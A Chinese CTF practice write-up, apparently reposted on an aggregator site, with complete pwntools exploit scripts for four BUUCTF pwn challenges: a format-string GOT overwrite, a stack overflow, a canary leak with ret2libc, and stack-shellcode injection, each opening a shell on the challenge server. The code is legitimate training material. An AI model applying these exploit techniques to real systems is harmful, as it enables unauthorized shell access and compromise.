PWN-PRACTICE-BUUCTF-15

PWN-PRACTICE-BUUCTF-15

    • axb_2019_fmt32
    • wustctf2020_getshell_2
    • others_babystack
    • pwnable_start

axb_2019_fmt32

格式化字符串漏洞
第一次打印出printf的真实地址,进而计算libc基地址,得到system真实地址
第二次修改got表,使printf的got指向system的真实地址,后面执行printf时实际上是执行system

from pwn import *
#p=process('./axb_2019_fmt32')
p = remote('node4.buuoj.cn',28123)
elf = ELF('./axb_2019_fmt32')
libc=ELF('./libc-2.23-x32.so')
printf_got=elf.got['printf']
print(hex(printf_got))
p.recvuntil('Please tell me:')
payload='%9$sa'+p32(printf_got)
p.sendline(payload)
p.recvuntil(':')
printf_addr=u32(p.recv(4))
print(hex(printf_addr))
libc_base=printf_addr-libc.symbols['printf']
system=libc_base+libc.symbols['system']
print(hex(system))
payload='aaaaa'+fmtstr_payload(9,{printf_got:system},write_size = "byte",numbwritten = 0xe)
p.sendline(payload)
p.sendline(';/bin/sh\x00')
p.interactive()

wustctf2020_getshell_2

栈溢出,可溢出12字节

from pwn import *
io=remote('node4.buuoj.cn',28982)
sh=0x08048670
syscall=0x08048529
payload='a'*(0x18+4)+p32(syscall)+p32(sh)
io.sendline(payload)
io.interactive()

others_babystack

先泄露canary,然后栈溢出ret2libc

from pwn import *
#context.log_level='debug'
#io=process('./others_babystack')
io=remote('node4.buuoj.cn',27674)
elf=ELF('./others_babystack')
libc=ELF('./libc-2.23-x64.so')
main_addr=0x400908
pop_rdi=0x400a93
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.sendafter('>> ','1')
payload='a'*(0x90-8-8)+'b'*8
io.sendline(payload)
io.sendafter('>> ','2')
io.recvuntil('bbbbbbbb\n')
canary=u64(io.recv(7).ljust(8,'\x00'))
canary=canary<<8
print(hex(canary))
payload='a'*(0x90-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendafter('>> ','1')
io.sendline(payload)
io.sendafter('>> ','3')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='a'*(0x90-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main_addr)
io.sendafter('>> ','1')
io.sendline(payload)
io.sendafter('>> ','3')
io.interactive()

pwnable_start

参考:BUUCTF pwnable_start心路历程

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="i386"
io=process("./start")
elf=ELF("./start")#.text:08048087                 mov     ecx, esp        ; addr
mov_ecx_esp=0x08048087#gdb.attach(io,"break * 0x0804809C")io.recvuntil("the CTF:")
payload="a"*0x14+p32(mov_ecx_esp)
io.send(payload)
leak_esp=u32(io.recv(4))
print(hex(leak_esp))#.text:08048099                 add     esp, 14h
#.text:0804809C                 retn
shellcode="\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload="a"*0x14+p32(leak_esp+0x14)+shellcode
io.send(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438092.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PWN-PRACTICE-BUUCTF-16

PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheapmrctf2020_easyoverflow 覆盖main函数中的v5&#xff0c;使之为"n0t_r311y_f1g" from pwn import * rremote("node4.buuoj.cn",29521) payloada*…

REVERSE-PRACTICE-BUUCTF-32

REVERSE-PRACTICE-BUUCTF-32[第四章 CTF之APK章]数字壳的传说[第五章 CTF之RE章]Hello, RE[第五章 CTF之RE章]BabyAlgorithm[第五章 CTF之RE章]BabyConst[第五章 CTF之RE章]BabyLib[第五章 CTF之RE章]easy_rust[第五章 CTF之RE章]easy_go[第五章 CTF之RE章]easy_mfc[第四章 CTF…

.NET 实现并行的几种方式(二)

本随笔续接&#xff1a;.NET 实现并行的几种方式&#xff08;一&#xff09; 四、Task 3&#xff09;Task.NET 4.5 中的简易方式 在上篇随笔中&#xff0c;两个Demo使用的是 .NET 4.0 中的方式&#xff0c;代码写起来略显麻烦&#xff0c;这不 .NET 4.5提供了更加简洁的方…

PWN-PRACTICE-BUUCTF-17

PWN-PRACTICE-BUUCTF-17hitcontraining_heapcreatorwustctf2020_closedciscn_2019_es_7hitcon2014_stkofhitcontraining_heapcreator 单字节溢出&#xff0c;修改下一个chunk的size&#xff0c;造成chunk overlap&#xff0c;实现任意地址读写 参考&#xff1a;buuctf hitcont…

redis 和 数据库mysql之间的关系

https://www.zhihu.com/question/20734566 https://www.zhihu.com/question/19660689 http://blog.csdn.net/Ideality_hunter/article/details/77621643 redis和mysql要根据具体业务场景去选型 mysql&#xff1a;数据放在磁盘redis&#xff1a;数据放在内存 redis适合放一些…

PWN-PRACTICE-BUUCTF-18

PWN-PRACTICE-BUUCTF-18ciscn_2019_final_3ciscn_2019_s_9jarvisoj_level5pwnable_hacknoteciscn_2019_final_3 tcache dup 参考&#xff1a;[V&N2020 公开赛]easyTHeap ciscn_2019_final_3 ——heap中tcache的一些简单利用方法 # -*- coding:utf-8 -*- from pwn impor…

GPS/轨迹追踪、轨迹回放、围栏控制

折腾一个多月终于弄完了这个项目&#xff0c;起初都未曾接触GPS/轨迹追踪、轨迹回放、圈划围栏...等一些在百度地图或者Googel地图操作的一些业务&#xff0c;后端的业务相对来说简单点 cas单点登录&#xff0c;mongdb灵活的数据存储方式,ActiveMQ消息推送、Redis存储... 这篇…

PWN-PRACTICE-BUUCTF-19

PWN-PRACTICE-BUUCTF-19hitcontraining_bambooboxpicoctf_2018_shellcodenpuctf_2020_easyheapcmcc_pwnme2hitcontraining_bamboobox unlink&#xff0c;参考&#xff1a;hitcontraining_bamboobox 堆技巧 unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("…

推荐使用:Vue.js ReactJS Angular 2 AngularJS

概要: 现在&#xff0c; Vue 还没有 React (由 Facebook 维护) 或者 Angular 2 (受到 Google 的支持) 流行。不过&#xff0c;许多开发者都已经转向 Vue 了。Laravel 社区也在考虑将它作为可选用的前端框架之一。 总之&#xff0c;Vue 给 React & Angular 的弊病提供了一道…

PWN-PRACTICE-BUUCTF-20

PWN-PRACTICE-BUUCTF-20actf_2019_babystackpicoctf_2018_can_you_gets_mepicoctf_2018_got_shellmrctf2020_easy_equationactf_2019_babystack 两次栈迁移 # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" #ioprocess("./ACTF_2019_bab…

C#.NET Thread多线程并发编程学习与常见面试题解析-1、Thread使用与控制基础

前言&#xff1a;因为平时挺少用到多线程的&#xff0c;写游戏时都在用协程&#xff0c;至于协程那是另一个话题了&#xff0c;除了第一次学习多线程时和以前某个小项目有过就挺少有接触了&#xff0c;最近准备面试又怕被问的深入&#xff0c;所以就赶紧补补多线程基础。网上已…

PWN-PRACTICE-BUUCTF-21

PWN-PRACTICE-BUUCTF-21wdb_2018_2nd_easyfmtciscn_2019_es_1axb_2019_fmt64x_ctf_b0verfl0wwdb_2018_2nd_easyfmt 格式化字符串漏洞 第一次printf通过printf_got将printf的实际地址打印出来&#xff0c;计算libc基地址&#xff0c;得到system的实际地址 第二次printf通过prin…

OpenCR arduino problem list

OpenCR arduino problem list 1、安装 直接使用arduino boardmanager安装&#xff0c;下载很慢&#xff0c;几乎不能成功安装。借鉴http://www.rosclub.cn/post-1037.html&#xff0c;下载需要组件&#xff0c;成功安装。 需要组件opencr_core、opencr_tools、gcc-arm-none-ea…

PWN-PRACTICE-BUUCTF-22

PWN-PRACTICE-BUUCTF-22hitcontraining_unlinkpicoctf_2018_leak_mesuctf_2018_basic pwnaxb_2019_brop64hitcontraining_unlink unlink&#xff0c;参考&#xff1a;[BUUCTF]PWN——hitcontraining_unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("./bam…

javaee, javaweb和javase的区别以及各自的知识体系

JavaSE Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类&#xff0c;并为 Java Platform&#xff0c;Enterprise Edition&#xff08;Java EE&#xff09;提供基础。 JavaE…

PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23gyctf_2020_some_thing_excetingaxb_2019_heap[极客大挑战 2019]Not Badinndy_echogyctf_2020_some_thing_exceting 程序读取了flag到bss段上的0x6020A8地址处 存在uaf漏洞&#xff0c;利用fastbins的LIFO原则&#xff0c;create大小合适的chunk并free …

.NET 实现并行的几种方式(三)

在前两篇随笔中&#xff0c;先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写&#xff0c;在这里补充一下&#xff1a; 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出&#xff0c;ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前&#xff0c;如果我们使用线程。一般有以下几种方式&#xff1a; 使用System.Threading.Thread 类&#xff0c;调用实例方法Start()开启一个新线程&#xff0c;调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言&#xff1a; 项目中进行Unit Test时&#xff0c;肯定会用到框架&#xff0c;因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多&#xff0c;在这里只是对MS Test和NUnit Test进行一下比较&#xff0c; 因为这两个框架用的较多&#xff0c;也有大虾想过…